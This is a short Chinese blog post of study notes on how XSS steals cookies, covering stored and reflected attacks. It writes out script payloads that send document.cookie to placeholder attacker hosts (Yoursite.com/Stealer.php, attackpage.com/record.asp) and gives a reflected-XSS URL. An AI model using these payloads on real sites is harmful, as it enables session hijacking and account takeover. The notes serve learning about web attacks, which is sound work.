Cookie窃取攻击剖析
#说实话我不喜欢国人写的书,讲个XSS的Cookie窃取还要先写个好几页的Cookie的介绍。感觉除了占点地方没别的用处了。
#要学什么就学什么,目标要盯牢,别学到一半觉得需要学另外的相关知识。wiki了解一下就行。
#要做什么,就准备什么。宁可简单粗暴,不要曲线救国。摊子铺大了,目标就模糊了,效率低,反馈慢,渐渐的就兜不回来了。-- 知乎mumu
第二章开头就回答了我的疑惑,XSS跨站脚本攻击是通过正常的站内交互途径如,发布评论,添加文章,发送邮件和留言等提交恶意的JavaScript脚本的内容文本,如果服务器没有过滤或转义这些脚本反而作为内容发布到Web页面上,当其他用户访问该页面时这些恶意脚本就会执行。上一篇的XSS代码只是调用了一个alert函数。实则XSS能做的事情远远不仅仅如此。
XSS的Cookie窃取攻击剖析
方法1(持久型xss):
<script>location.href ='http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>
其中location.href是指页面跳转到http://www.Yoursite.com/Stealer.php?cookie='+document.cookie
通过XSS攻击,由于注入代码是在受害者的浏览器上执行,因此能够很方便地窃取到受害者的Cookie信息。比如,我们只要注入类似如下的代码:
<script>location.replace("http://www.attackpage.com/record.asp?secret=" + document.cookie)</script>
当受害者的浏览器执行这段脚本的时候,就会自动访问攻击者建立的网站www.attackpage.com,打开其中的recourd.asp,将受害者浏览器的Cookie信息给记录下来。这样,攻击者就得到了用户的Cookie信息。
得到受害者的Cookie信息后,攻击者可以很方便地冒充受害者,从而拥有其在目标服务器上的所有权限,相当于受害者的身份认证被窃取了。这样,攻击者可以任意地利用受害者的身份访问服务器上的资源和服务,甚至对受害者和服务器上的数据进行破坏。如果受害者拥有管理员权限,攻击者还可以利用其提升自己账号的权限,从而进行进一步的攻击。
方法2(反射型xss):
http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);</script>
当受害者点击这个链接的时候,注入的脚本被当作搜索的关键词发送到目标服务器的search.asp页面中,则在搜索结果的返回页面中,这段脚本将被当作搜索的关键词而嵌入。这样,当用户得到搜索结果页面后,这段脚本也得到了执行。这就是反射型XSS攻击的原理。
上面攻击的本质都是触发一个HTTP GET 请求把 Cookie 信息作为URL的一部分参数传给攻击者的服务器然后攻击者 通过查看日志即可获取到 Cookie 信息,对于包含特殊字符的Cookie信息可以使用encodeURIComponent函数进行编码传输。
最后本篇博文并未实际自己实践过,只是整理归纳了一些常见处理方法。搭建虚拟网站和实践是明天的事情了。